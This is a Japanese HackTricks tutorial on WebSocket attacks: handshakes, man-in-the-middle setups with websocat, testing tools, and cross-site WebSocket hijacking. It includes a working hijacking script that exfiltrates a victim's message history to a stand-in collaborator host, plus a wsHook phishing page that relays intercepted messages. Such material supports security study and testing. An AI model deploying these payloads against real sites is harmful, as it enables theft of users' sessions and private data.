WebSocket Attacks
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
What are WebSockets
WebSocket接続は、最初のHTTPハンドシェイクを通じて確立され、長期間の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは低遅延またはサーバー起動の通信を必要とするアプリケーションに特に有利です。
Establishment of WebSocket Connections
WebSocket接続の確立に関する詳細な説明はこちらでアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
var ws = new WebSocket("wss://normal-website.com/ws")
wss
プロトコルはTLSで保護されたWebSocket接続を示し、ws
は保護されていない接続を示します。
接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示すように:
ブラウザがハンドシェイクリクエストを送信します:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
サーバーのハンドシェイク応答:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
接続は確立されると、双方向でメッセージ交換のためにオープンのままになります。
WebSocketハンドシェイクの重要なポイント:
Connection
およびUpgrade
ヘッダーは、WebSocketハンドシェイクの開始を示します。Sec-WebSocket-Version
ヘッダーは、希望するWebSocketプロトコルバージョンを示し、通常は13
です。- Base64エンコードされたランダム値が
Sec-WebSocket-Key
ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。 - サーバーの応答における
Sec-WebSocket-Accept
ヘッダーは、Sec-WebSocket-Key
のハッシュであり、WebSocket接続を開くというサーバーの意図を検証します。
これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。
Linuxコンソール
websocat
を使用して、WebSocketとの生の接続を確立できます。
websocat --insecure wss://10.10.10.10:8000 -v
ウェブソケットサーバーを作成するには:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket connections
もしクライアントが現在のローカルネットワークからHTTP websocketに接続していることがわかった場合、ARP Spoofing Attackを試みて、クライアントとサーバーの間でMitM攻撃を実行することができます。
クライアントが接続しようとしているときに、次のように使用できます:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets enumeration
ツール https://github.com/PalindromeLabs/STEWS を使用して、Websocket内の既知の 脆弱性 を自動的に発見、フィンガープリンティング、検索できます。
Websocket Debug tools
- Burp Suite は、通常のHTTP通信と非常に似た方法でMitM Websocket通信をサポートしています。
- socketsleuth Burp Suite拡張機能 は、履歴を取得し、インターセプションルールを設定し、マッチと置換ルールを使用し、IntruderやAutoRepeaterを使用することで、Burp内のWebsocket通信をより良く管理できるようにします。
- WSSiP: "WebSocket/Socket.io Proxy"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャ、インターセプト、カスタムメッセージを送信し、表示するためのユーザーインターフェースを提供します。
- wsrepl は、特にペネトレーションテスト用に設計されたインタラクティブWebsocket REPLです。受信Websocketメッセージを観察し、新しいメッセージを送信するためのインターフェースを提供し、この通信を自動化するための使いやすいフレームワークを提供します。
- https://websocketking.com/ は、websocketsを使用して他のウェブと通信するためのウェブです。
- https://hoppscotch.io/realtime/websocket は、他の通信/プロトコルのタイプの中で、websocketsを使用して他のウェブと通信するためのウェブを提供します。
Decrypting Websocket
Websocket Lab
Burp-Suite-Extender-Montoya-Course には、Websocketsを使用してウェブを起動するためのコードがあり、この投稿 では説明を見つけることができます。
Cross-site WebSocket hijacking (CSWSH)
クロスサイトWebSocketハイジャック、またはクロスオリジンWebSocketハイジャックは、WebSocketハンドシェイクに影響を与える特定のケースの**クロスサイトリクエストフォージェリ(CSRF)として特定されます。この脆弱性は、WebSocketハンドシェイクがCSRFトークンや類似のセキュリティ対策なしにHTTPクッキー**のみで認証されるときに発生します。
攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する悪意のあるウェブページをホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。
Simple Attack
websocket接続を確立する際に、クッキーがサーバーに送信されることに注意してください。サーバーは、送信されたクッキーに基づいて各特定の ユーザーをwebsocket セッションに関連付けるためにそれを使用している可能性があります。
次に、例えばwebsocket サーバーがユーザーの会話の履歴を返送する場合、"READY"というメッセージが送信されると、接続を確立する単純なXSS(クッキーは被害者ユーザーを認証するために自動的に送信されます)で**"READY"を送信することで、会話の履歴を取得**できるようになります。
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
クロスオリジン + 異なるサブドメインのクッキー
このブログ投稿 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ では、攻撃者が サブドメイン のドメインで 任意のJavascriptを実行 することに成功しました。これは サブドメイン であったため、クッキー が 送信され、WebsocketがOriginを適切にチェックしなかった ため、通信が可能になり、トークンを盗む ことができました。
ユーザーからデータを盗む
偽装したいウェブアプリケーションをコピーします(例えば .html ファイル)そして、ウェブソケット通信が行われているスクリプト内にこのコードを追加します:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
wsHook.js
ファイルをhttps://github.com/skepticfx/wshookからダウンロードし、ウェブファイルのフォルダ内に保存してください。
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、websocketを介して送信および受信されたメッセージを盗むことができます:
sudo python3 -m http.server 80
レースコンディション
WebSocketにおけるレースコンディションも存在します。この情報を確認して、詳細を学んでください。
その他の脆弱性
WebSocketはサーバー側とクライアント側にデータを送信するメカニズムであり、サーバーとクライアントが情報をどのように処理するかによって、WebSocketはXSS、SQLi、またはWebの一般的な脆弱性をユーザーの入力を使用して悪用するために利用される可能性があります。
WebSocketスモグリング
この脆弱性により、リバースプロキシの制限を回避することができ、WebSocket通信が確立されたと信じ込ませることができます(実際にはそうでなくても)。これにより、攻撃者は隠れたエンドポイントにアクセスすることができる可能性があります。詳細については、以下のページを確認してください:
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。